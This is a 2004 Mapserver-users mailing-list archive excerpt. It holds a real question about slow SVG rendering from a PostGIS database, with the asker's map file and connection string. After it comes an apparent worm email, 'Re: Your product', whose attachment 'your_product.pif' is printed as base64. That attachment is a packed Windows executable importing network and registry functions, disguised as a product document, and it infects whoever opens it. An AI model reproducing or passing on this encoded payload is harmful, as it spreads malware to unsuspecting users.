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 ------=_NextPart_000_0003_000067DC.00004925-- From mofumyke at yahoo.com Tue Mar 2 00:59:51 2004 From: mofumyke at yahoo.com (yuth hor) Date: Tue, 2 Mar 2004 00:59:51 -0800 (PST) Subject: [Mapserver-users] Slow Mapserver SVG on postgres db Message-ID: <20040302085951.37604.qmail@web14802.mail.yahoo.com> --0-535643834-1078217991=:36027 Content-Type: text/plain; charset=us-ascii Hi all, Again, I need some guidance about the SVG output. I have tested the new SVG output from nightly build and found that the return SVG map was very slow if I use the Postgres db as an input type. The shape file input gives me a better performance in order to generate the SVG map. It has no problem and quite fast if I use postgres/postgis with raster output. Do you have any idea about this? I have never look into the Mapserver source before, anyone can tell me about the SVG generated process in Mapserver and which module in Mapserver source that use to draw the SVG map? I may take a look that source for better understanding. Some information about my data - the layer is quite large, about 10 ? 65 Mb. / layer (shp file) - After dump the shp layer into Postgres, GIST index was already made. Thank you very much in advanced, I also enclosed my map file with this mail for your perusal. Teerayut MAP NAME 'japan' EXTENT 122.935414 24.040589 153.986285 45.554518 STATUS OFF # we don't want a raster map UNITS DD SHAPEPATH "/usr/local/apache/htdocs/japan/data/" WEB HEADER '../header.svg' FOOTER '../footer.svg' QUERYFORMAT 'image/svg+xml' END LAYER CONNECTIONTYPE postgis NAME "z9_road" STATUS DEFAULT CONNECTION "user=postgres dbname=gsi2500 host=10.10.10.100 port=5432" DATA "the_geom from (select gid,the_geom from z9_road) as foo using unique gid using SRID=4301" TYPE QUERY HEADER ../z9_road_header.svg FOOTER ../z9_road_footer.svg TEMPLATE ../z9_road_template.svg END END --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --0-535643834-1078217991=:36027 Content-Type: text/html; charset=us-ascii

Hi all,

 

Again, I need some guidance about the SVG output. I have tested the new SVG output from nightly build and found that the return SVG map was very slow if I use the Postgres db as an input type. The shape file input gives me a better performance in order to generate the SVG map. It has no problem and quite fast if I use postgres/postgis with raster output. Do you have any idea about this?  I have never look into the Mapserver source before, anyone can tell me about the SVG generated process in Mapserver and which module in Mapserver source that use to draw the SVG map? I may take a look that source for better understanding.

 

Some information about my data

-        the layer is quite large, about 10 ? 65 Mb. / layer (shp file)

-        After dump the shp layer into Postgres, GIST index was already made.

 

Thank you very much in advanced, I also enclosed my map file with this mail for your perusal.

 

Teerayut  

 

MAP

  NAME 'japan'

 

 

  EXTENT 122.935414 24.040589 153.986285 45.554518

 

  STATUS OFF # we don't want a raster map

  UNITS DD

  SHAPEPATH "/usr/local/apache/htdocs/japan/data/"

 

  WEB

    HEADER '../header.svg'

    FOOTER '../footer.svg'

    QUERYFORMAT 'image/svg+xml'

  END

 

 

 

LAYER

  CONNECTIONTYPE postgis

  NAME "z9_road"

  STATUS DEFAULT

  CONNECTION "user=postgres dbname=gsi2500 host=10.10.10.100 port=5432"

  DATA "the_geom from (select gid,the_geom from z9_road) as foo using unique gid using SRID=4301"

  TYPE QUERY

  HEADER ../z9_road_header.svg

  FOOTER ../z9_road_footer.svg

  TEMPLATE ../z9_road_template.svg

END

 

END

 

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster. --0-535643834-1078217991=:36027-- From keon at nacse.org Tue Mar 2 01:36:43 2004 From: keon at nacse.org (keon at nacse.org) Date: Tue, 2 Mar 2004 10:36:43 +0100 Subject: [Mapserver-users] Re: Your product Message-ID: <200403020938.i229cQAP024576@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0000_00001427.00007129 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit See the attached file for details. ------=_NextPart_000_0000_00001427.00007129 Content-Type: application/octet-stream; name="your_product.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_product.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T WI2QuAEAAIsKD7rxH3MWiwQk/Yvwi/gDcgQDegjzpYPCDPzr4oPCEIta9IXbdNiLBCSLevgD +FKNNAHrF1hYWFp0xOkc////AtJ1B4oWg+7/EtLDgfsAAAEAcw5oYMD//2hg/P//tgXrIoH7 AAAEAHMOaICB//9ogPn//7YH6wxoAIP//2gA+///tghqADLSS6QzyYP7AH6k6Kr///9yF6Qw X/9L6+1B6Jv///8TyeiU////cvLDM+3o6f///4PpA3MGiwQkQesji8EPts7odf///xPASXX2 g/D/O0QkBIPVATtEJAiD1QCJBCToV////xPJ6FD///8TyXUI6Kb///+DwQIDzVYr2Y00OPOk XuuDLovAuA4AgNxKAAD8XwEAICUBAKlGAAAAEAAArxIAAN5PAQAmDwAAAGAAALQBAACVVwEA 5BIAAABwAAA4ugEAAAAAAMYTAAAAAAAAAAAAAAAAAABicwEAiHIBAAAAAAAAAAAAAAAAAG1z AQCUcgEAAAAAAAAAAAAAAAAAenMBAKhyAQAAAAAAAAAAAAAAAACGcwEAsHIBAAAAAAAAAAAA AAAAAJFzAQC4cgEAAAAAAAAAAAAAAAAAnnMBAMByAQAAAAAAAAAAAAAAAAAAAAAAAAAAAMhy AQDWcgEAAAAAAOJyAQDwcgEAAHMBABJzAQAAAAAAJHMBAAAAAAALAACAAAAAAEBzAQAAAAAA VHMBAAAAAAAAAE1lc3NhZ2VCb3hBAAAAd3NwcmludGZBAAAARXhpdFByb2Nlc3MAAABMb2Fk TGlicmFyeUEAAAAAR2V0UHJvY0FkZHJlc3MAAAAAVmlydHVhbFByb3RlY3QAAAAASW50ZXJu ZXRHZXRDb25uZWN0ZWRTdGF0ZQAAAEdldE5ldHdvcmtQYXJhbXMAAAAAUmVnT3BlbktleUEA VVNFUjMyLmRsbABLRVJORUwzMi5kbGwAV0lOSU5FVC5kbGwAV1MyXzMyLmRsbABpcGhscGFw aS5kbGwAQURWQVBJMzIuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVACNL LeCo9fUqAN2XrU+vUqlvABioluG9wPiQAMukUQTRgwCWAAh8qPCIC46DGwsqdsh4rZIAff8q c3UyNDah4RiNMLEZ5wLoY+8nAGEAAACf0B59LFAEyC92WUGoz7dMAENKSTV9SfNMFsaLNcr/ Fv1JH7pmAAz4ST+5Lje4ADBpaxfaVNyoKVsn6WaIgGsa2xs1XVso89/0VBJZEQgX5bEWjCwK qlyNQcKD7RjLg3xeEl8VcPcISg3wx0DdLWFWA1+QEk6COEiI9CmEAHeOVp81jodfBoA8bgTL ukUA8PSqislLA8oDo/220qcHaQa/vM2/RlJdDancS8uEx0LEhVW8lAcAn2XWp8YU3gGVd5/w rGdAQTSKGzbUfpTtxgpweFp0NfaVLQU4RZJQikZ++nALsQw8A2oXYVErIyhKZD2rHA29DFJQ ACWwproYIpZZyW0kw88Vq7fAJtzrbCK931+m5uVEwtKGp6zcLHTNSZTO8IsSJk/mGkz94/HU gF+O9FqBx24MIOl8X88RU1+p9LJotlZpzVZfWWS2/3IKl3eGgym+14JqOdlGpM3aIpS5KQSm nmCwR7hG3La+JUXw+KOiSrSNvpSl9cvtqp+YRcDGxmgowiP+VQp02W2wDRRq9g86LaCVElpe smugpDsZcpSnPM2teZUv2AijvJj8pLhQqTaCkxAVw4EdYaiKohdLr2nLQG1Q+CcmMQU0Y9oy LFAQ1HKvGtZcAK6iJukK3oJM8rIDNUlgl+duAIUVbILFtJs4AnhLdPUsdDl2vKJo+V1KN8Rn 5F2FAOSZjm6qHl6hsFKXITMx1F0b3W+RR5ewnlJ2ijs2S3+6t9ExQ0HbEIP4tAbDmz4tTVz7 